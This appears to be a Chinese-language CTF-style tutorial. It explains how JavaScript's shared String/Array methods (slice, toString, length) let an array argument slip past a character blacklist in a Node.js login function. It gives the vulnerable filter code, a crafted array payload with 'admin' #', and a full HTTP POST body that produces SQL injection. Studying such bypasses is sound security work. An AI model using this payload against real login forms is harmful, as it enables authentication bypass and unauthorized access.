JavaScript的 String(字符串) 和 Array(数组)具有一些同名的属性和方法,例如 length、slice()、toString(),而且都可以用 for 循环遍历。

var arr = ['a','b','c']
var str = 'abc'

// length
arr.length                    // 3
str.length                    // 3

// slice()
arr.slice(0,2)                // a,b  与字符串有些不同,拼接数组元素时会在元素之间插入逗号"," ,相当于 arr.join(',')
str.slice(0,2)                // ab

// toString()
arr.toString()                // a,b,c 相当于 arr.join(',')
str.toString()                // abc

for(var i = 0; i < arr.length; i++){
	console.log(arr[i])
}
// abc

for(var i = 0; i < str.length; i++){
	console.log(str[i])
}
// abc

toString()是在需要将对象当成字符串输出时执行的方法。

例如:

var arr = ['a','p','p','l','e']
console.log(arr + '')       // a,p,p,l,e

 利用上述所说的特性绕过下面的过滤函数,并最终形成 SQL 注入:

let safeQuery =  (username,password)=>{

    const waf = (str)=>{
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    return sql;
}

 (1)这里预期的数据类型是 String,如果传入一个字符串,那么被黑名单检测的是字符串的单个字符,这会在黑名单字符包括单引号的前面添加转义字符 \,导致SQL注入失败。

(2)这里用于检测的代码用到的方法和属性都是 String 和 Array,所以如果传入一个非预期的数据类型 Array,并不会导致程序错误,并且被黑名单检测的是数组的元素,而数组的元素既可以是单个字符,也可以是字符串,如果是字符串,例如 "admin' #",判断的条件是 "admin' #" == element,返回 false,也就是无法检测出里面的单引号。所以我们在 username 中传入一个数组,数组的第一个元素是 "admin' #"。

(3)数组最终还是要转换成字符串,否则会因为 username.substr(0,20) 不存在 substr() 而导致程序错误。转换成字符串的地方在于 slice(),通过执行 username.slice() 就能转换成字符串。

最终username为:

["admin' #", '1', '2', '3', '4', '5', '6', '7', '8', '*']
  •   * 的位置要在下标 5 之后,因为单引号处于 "admin' #" 的第 6 位,而username.slice()之后 for 会继续遍历 "admin' #,1,2,3,4,5,6,7,8,*" 这个字符串,但此时 i>5,所以就不会检测单引号 '。

在HTTP请求体中:

POST /login HTTP/1.1
......
Content-Type: application/x-www-form-urlencoded
......

username[]=admin'+#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=*&password=123456

 这需要node.js支持多种数据类型,例如 express:

express.use(express.urlencoded({extended: true}))